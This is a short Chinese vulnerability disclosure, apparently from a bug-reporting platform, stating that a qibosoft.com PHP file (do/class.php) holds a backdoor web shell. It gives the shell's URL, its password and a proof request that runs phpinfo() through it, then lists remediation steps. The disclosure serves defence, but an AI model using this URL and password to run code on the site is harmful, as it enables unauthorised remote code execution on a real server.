漏洞详情

披露状态:

2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://www.qibosoft.com//do/class.php?key=90sec 密码shellcode
http://www.qibosoft.com//do/class.php?key=90sec&shellcode=phpinfo();

shell.png


危害嘛,介个程序极有可能被插入后门。拒绝跨省,查水表。

漏洞证明:

http://www.qibosoft.com//do/class.php?key=90sec 密码shellcode

shell.png


危害嘛,介个程序极有可能被插入后门。拒绝跨省,查水表。

修复方案:

修补漏洞,查杀网马,修改密码,后台,以及再次审查程序发布。谢谢。

标签: none

评论已关闭